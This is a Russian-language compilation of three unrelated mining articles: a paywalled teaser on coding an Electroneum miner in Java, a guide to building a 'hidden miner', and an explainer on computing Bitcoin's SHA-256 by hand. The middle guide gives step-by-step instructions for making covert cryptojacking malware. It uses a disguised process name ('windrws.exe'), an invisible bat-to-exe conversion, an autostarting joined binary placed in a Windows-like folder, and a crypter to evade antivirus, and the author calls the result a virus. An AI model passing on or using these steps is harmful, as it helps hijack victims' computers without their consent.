- Пишем майнер на Java. Кодим добытчик криптовалюты Electroneum
- Продолжение доступно только участникам
- Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
- Мануал и исходники простого скрытого майнера. Для ленивых
- Майним Bitcoin с помощью бумаги и ручки
- Майнинг
- SHA-256
- Майним вручную
- Что всё это значит для проектирования «железных» майнеров?
- Заключение
Пишем майнер на Java. Кодим добытчик криптовалюты Electroneum
В качестве криптовалюты возьмем Electroneum. Это довольно перспективная криптовалюта из семейства Monero. Как заверяют разработчики, она защищена от майнинга на специальном оборудовании, точнее, оборудование будет стоить больше, чем можно получить прибыли. Это дает примерно равные шансы всем майнерам. Так как в качестве основы была использована Monero, многое из написанного будет правдиво и для других криптовалют этого семейства.
Для начала разберемся, что же такое майнинг. По сути это проверка транзакций различных пользователей криптовалют. Нет никакого центрального органа, а подтвердить, что один участник сети не использовал свои деньги дважды или не попытался как-то еще обмануть систему, могут все остальные. За это майнеры получают награду в виде небольшого количества криптоденег. В эту сумму входит награда за создание нового блока и оплата за транзакции, которая взимается с пользователей, проводящих транзакцию, и уже включена в нее.
Создание нового блока представляет собой решение определенной математической задачи. Необходимо найти такой хеш блока, который был бы меньше значения, определяемого сетью. Это значение называется сложность (difficulty). Оно регулируется сетью, чтобы время создания блока было более-менее предсказуемо. Майнер, который первый решит задачу, получает всю награду. Награда за блок на сегодняшний день составляет 11 300,93 ETN, что примерно равно 146,2 доллара.
В блоке не обязательно должны быть транзакции других пользователей, может быть только одна транзакция создания новых денег. Зачем нужно просто раздавать деньги? Во-первых, это привлекает больше участников сети, во-вторых, снижает риск атаки на сеть, так как заработать легально получается проще.
Чтобы стать участником сети Electroneum, необходимо скачать пакет программ с официального сайта. Выбираем direct miner для своей платформы. После скачивания и распаковки нужно синхронизироваться с сетью — скачать все уже сгенерированные блоки. Для разработки и тестирования лучше пользоваться тестовой сетью с пониженной сложностью.
К сожалению, синхронизация «из коробки» может зависнуть на блоке 155750. Это связано с найденным критичным багом и кардинальными изменениями из-за этого в сети Electroneum (подробнее). Поэтому прежде чем запускать синхронизацию, нужно скачать файлик с правильной цепочкой блоков и положить его в папку .electroneum/testnet/export/blockchain.raw . Затем выполнить импорт:
Теперь смело запускаем синхронизацию:
Далее создаем кошелек для начисления заработка:
Ответив на все вопросы, получаем публичный адрес в файлике .address.txt . Если лениво заморачиваться с развертыванием сервера Electroneum, можно воспользоваться онлайн-сервисом nodes.hashvault.pro:26968 .
Настало время запустить свой любимый редактор и приступать к кодированию. Для связи с сервисом Electroneum используется протокол jsonrpc . Нам понадобится всего две команды: получить шаблон блока и отправить решение. Начнем с простого HTTP-клиента:
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Источник
Мануал и исходники простого скрытого майнера. Для ленивых
Этот майнер был написан, для того что бы люди не велись на «Бесплатный майнер, меняй мыло и всё», запомните такой халявы никто просто так не даёт. Я отдаю из за того, что надоело читать «меняй своё мыло и всё».
Сразу прошу не говорить
на тему бесполезности 32-х битных компьютеров для майнинга, т.к.:
1) Их больше, хотя профит от одного отдельно взятого 32х битного компа меньше, чем от х64
2) И на 64-битных системах этот майнер работает.
Из этого следует, что профит будет вероятно даже больший, чем с обычных 64-битных майнеров.
Возможно эта тема уже поднималась
, возможно нет, но думаю, что напомнить будет не лишним.
Для создания данного билда нам понадобятся:
1) Исходники (взяты отсюда https://ru.minergate.com/altminers/claymore-cpu), они есть в архиве.
4) Криптор , вы можете взять любой
Советую сделать его самим.
Ссылка на архив в конце статьи.
Чтобы начать зарегаемся на MinerGate https://ru.minergate.com/
Наконец сам майнер.
Открываем папку x32, там наши исходники. Жмём ПКМ по «pool 32bit.bat» и жмём изменить, открывается блокнот и там такая запись:
windrws.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u mail@mail.ru -p x
windrws.exe — это название самого майнера, который мы будем запускать с параметрами указанными в этом батнике, при запущенном майнере процесс в диспетчере задач будет называться именно так, при желании сам windrws.exe , который лежит в папке x32 можно переименовать, но тогда придётся изменить название и в pool 32bit.bat
tcp://xmr.pool.minergate.com:45560 означает то, что мы будем майнить MONERO
Ниже приведу весь список:
Далее меняем mail@mail.ru на наш e-mail, указанный при регистрации на MinerGate’е.
Следующий шаг — делаем из bat-ника exe-шник, для этого запускаем bat2exe.exe
Указываем путь к нашему батнику и ставим галочку на «Невидимое приложение», как на картинке ниже.
Теперь BAT-ник можем удалить, он нам больше не пригодится.
Далее нам нужно сделать из 2х exe-шников 1 с автозапуском, для этого открываем OXI_Joiner.exe
Он выглядит так:
Жмём на большой зелёный (как слоник) плюсик и выбираем наш pool 32bit.exe
Должно получиться это:
Пото дважы кликаем в программе по pool 32bit.exe и выставляем параметры как на картинке.
Путь можете выбрать любой, главное запомните его, он нам понадобится
Жмём большую зелёную галочку.
Далее опять жмём зелёный плюсик и добавляем windrws.exe или как вы его там обозвали, у меня это выглядит так:
Также дважды кликаем на windrws.exe и выставляем параметры как на картинке.
Важно! Для особо невнимательных, параметры тут ДРУГИЕ! Папку указываем ту же, что и в первом случае, у меня это C:\ProgramData\Windows
Опять таки жмём на большую зелёную галочку.
Далее во вкладке «Внешний вид» мы можем поменять иконку и Version info, но в данном случае особого смысла в этом нет 🙂
Теперь жмём на большую шестерёнку на фиолетовом фоне и сохраняем наш вирус.
Остался последний штрих, закриптовать всё это дело.
Криптор можете использовать свой или из архива. Если у вас есть FUD криптор, очень за вас рад, если поделитесь, буду рад ещё больше 😀
Источник
Майним Bitcoin с помощью бумаги и ручки
В один прекрасный момент мне захотелось прикинуть, насколько быстро можно майнить биткойны вручную. Оказалось, что для майнинга используется хеширование SHA-256, а оно достаточно простое и может быть вычислено даже без компьютера. Само собой, процесс очень небыстрый и совершенно непрактичный. Но, пройдя все шаги на бумажке, можно хорошо разобраться в деталях работы алгоритма.
Один криптографический раунд
Майнинг
Ключевая часть всей системы безопасности биткойна — майнинг. Основная идея заключается в том, что майнеры группируют биткойн-транзакции в один блок, который уже подвергают хэшированию неисчислимое число для нахождения очень редкого значения хэша, подпадающего под специальные условия. Когда такое значение находится, блок считается смайненным и попадает в цепочку блоков. Само по себе хэширование не несёт никакой полезной цели кроме увеличения сложности поиска правильного блока. Таким образом, это одна из гарантий того, что никто в одиночку с любым существующим набором ресурсов не сможет взять под контроль всю систему. Подробнее про майнинг можно почитать в моей прошлой статье.
Криптографическая функция хэширования на вход получает блок с данными, а выдаёт небольшой, но непредсказуемый, выход. Она спроектирована так, что не существует быстрого способа получить нужный выход, и вы должны продолжать перебор пока не найдёте подходящее значение. Биткойн использует SHA-256 в качестве такой функции. Причём для усиления стойкости SHA-256 применяется к блоку дважды и называется уже двойным SHA-256.
В биткойне критерием валидности хэша является достаточное число нулей в его начале. [1] Найти такой хэш так же сложно, как, к примеру, найти номер машины или телефона, заканчивающийся на несколько нулей. Но, конечно, для хэша это экспоненциально сложнее. На текущий момент, правильный хэш должен содержать примерно 17 стартовых нулей, чему удовлетворяет только 1 из 1.4×10 20 . Если провести аналогию, то найти такое значение сложнее, чем обнаружить конкретную частичку среди всего песка на Земле.
На схеме ниже показан типичный блок в цепочке и его хэш. Желтым выделены байты, которые и участвуют в процессе хэширования. В данном примере хэш валиден и имеет достаточное число нулей в своём начале. Однако это нечастый случай, и обычно майнеру приходится перебирать значение поля nonce или других доступных для изменения данных.
Структура биткойн-блока
SHA-256
Алгоритм работает с данными, разбитыми на куски по 512 бит (64 байт), криптографически их смешивает и выдаёт 256-битный (32 байта) хэш. SHA-256 состоит из относительно простого раунда, повторяющегося 64 раза. Снизу, как раз, и показан такой раунд, принимающий на вход 8 4-байтовых слов — от A до H.
Один раунд SHA-256 для восьми входных слов A-H. Схема нарисована kockmeyer, CC BY-SA 3.0.
Синие блоки нелинейно перемешивают биты для усложнения криптографического анализа. Причём для еще большей надежности используются разные функции перемешивания (если вы сможете найти математическую лазейку для быстрого генерирования валидных хэшей, то возьмёте под контроль весь процесс майнинга биткойнов).
Функция большинства (Ma блок) побитово работает со словами A, B и C. Для каждой битовой позиции она возвращает 0, если большинство входных битов в этой позиции — нули, иначе вернёт 1.
Блок Σ0 циклически сдвигает A на 2 бита, затем исходное слово A циклически сдвигается на 13 бит, и, аналогично, на 22 бита. Получившиеся три сдвинутые версии A побитово складываются по модулю 2 (обычный xor, (A ror 2) xor (A ror 13) xor (A ror 22)).
Ch реализует функцию выбора. На каждой битовой позиции проверяется бит из E, если он равен единице, то на выход идёт бит из F с этой позиции, иначе бит из G. Таким образом, биты из F и G перемешиваются, исходя из значения E.
Σ1 по структуре аналогичен Σ0, но работает со словом E, а соответствующие сдвиговые константы — 6, 11 и 25.
Красные блоки выполняют 32-битное сложение, формируя новые значения для выходных слов A и E. Значение Wt генерируется на основе входных данных (это происходит в том участке алгоритма, который получает и обрабатывает хэшируемые данные. Он вне нашего рассмотрения). Kt — своя константа для каждого раунда. [2]
На схеме сверху заметно, что только A и E меняются за один криптографический раунд. Остальные слова не меняются, но сдвигаются на выходе — старое A превращается в выходное B, старое B — в новое C, и так далее. Хотя отдельный раунд алгоритма не сильно изменяет данные, но после 64 раундов, входная информация будет полностью зашифрованной. [3]
Майним вручную
На видео я показываю как можно пройти все описанные шаги с помощью ручки и бумаги. Я выполнил первый раунд хэширования для майнинга блока. Заняло это у меня 16 минут, 45 секунд.

Немного поясню что происходит: я записал слова от A до H в шестнадцатеричной форме, и под каждым сделал перевод в двоичный вид. Результат выполнения блока Ma находится под словом C, а значения A после сдвигов и сам выход Σ0 располагаются над строкой с A. Функция выбора появляется под G, и, наконец, соответствующие сдвинутые версии E и значение после блока Σ1 идут над строкой с E. В нижнем правом углу произвёл сложение, результат которого участвует в вычислении и нового A, и нового E (первые три красных блока суммирования). Справа сверху я рассчитал новое значение A, а посерёдке располагается уже расчет нового значения E. Все эти шаги обсуждались выше и легко могут быть отслежены на схеме.
Кроме того раунда, что показан в видео, я провёл еще один — последний 64-ый хэшируюший раунд для конкретного биткойн-блока. На фотографии значение хэша выделено желтым. Количество нулей подтверждает, что это валидный биткойн-хэш. Заметьте, что нули располагаются в конце хэша, а не в начале, как я писал ранее. Причина заключается в том, что биткойн, просто-напросто, переворачивает байты полученные SHA-256. [4]
Последний раунд SHA-256, в результате которого виден успешно смайненный биткойн-блок
Что всё это значит для проектирования «железных» майнеров?
Каждый шаг в SHA-256 очень просто выглядит в цифровой логике — простые битовые операции и 32-битные суммирования (если вы когда-либо изучали схемотехнику, то, скорее всего, уже представили себе как это может выглядеть в железе). Поэтому ASIC-микросхемы реализуют SHA-256 очень эффективно, размещая параллельно сотни блоков исполнения SHA-256 раундов. Фотография ниже показывает микросхему для майнинга, которая может вычислять 2-3 миллиарда хэшей в секунду. На Zeptobars можно поглядеть больше фото.
Снимок кремниевого кристалла ASIC-микросхемы Bitfury, которая может майнить биткойны со скоростью в 2-3 гигахэшей в секунду. Картинка с Zeptobars. (CC BY 3.0)
В противоположность биткойну, Litecoin, Dogecoin и другие похожие альтернативные -coin системы используют алгоритм хэширования scrypt, в котором изначально заложена сложность реализации в железе. Этот алгоритм во время выполнения хранит в памяти 1024 разных значений хэша, а уже на выходе комбинирует их для получения конечного результата. Поэтому требуется куда больше памяти и схематики для вычисления scrypt-хэшей по сравнению с SHA-256-хэшами. Влияние изменения алгоритма хэширования наглядно видно при сравнении соответствующего аппаратного обеспечения для майнинга — версии под scrypt (Litecoin и прочие) в тысячи раз медленнее, чем версии под SHA-256 (биткойн).
Заключение
SHA-256 неожиданно оказался настолько простым, что может быть вычислен даже вручную (алгоритм на эллиптических кривых, который используется для подписи биткойн-транзакции, был бы куда более мучительным, так как содержит кучу перемножений 32-байтных чисел). Расчет одного раунда SHA-256 занял у меня 16 минут, 45 секунд. С такой производительностью хэширование всего биткойн-блока (128 раундов [3]) займёт 1,49 суток, то есть получаем скорость хэширования в 0,67 хэшей в день (на самом деле, конечно же, с практикой процесс бы ускорился). Для сравнения, текущее поколение биткойн-майнеров производит несколько терахэшей в секунду, что примерно в квинтиллион раз быстрее меня. Думаю, очевидно, что ручной майнинг биткойнов не очень практичен. [5]
Читатель с reddit’a спросил о моих затратах энергии. Так как я не прилагаю каких-то серьезных физических усилий, то можно предположить что скорость метаболизма будет 1500 килокалорий в день, тогда получаем, что ручное хэширование требует почти 10 мегаджоулей за хэш. Типичное потребление энергии для железного майнера — 1000 магехэшей за джоуль. Таким образом, я менее энергоэффективен чем специализированная железка в 10^16 раз (10 квадриллионов). Другой вопрос в стоимости энергии. Дешевым источником питания являются пончики по 23 цента за 200 килокалорий. Электроэнергия у меня стоит 15 центов за киловатт-час, что дешевле пончиков в 6.7 раз. В итоге, стоимость энергии в пересчете на хэш для меня, как человека-майнера, в 67 квадриллионов раз выше. Да-а-а, понятно, что я не ухвачу удачу за хвост ручным майнингом биткойнов, и это еще не учитывая стоимость бумаги и ручек!
Источник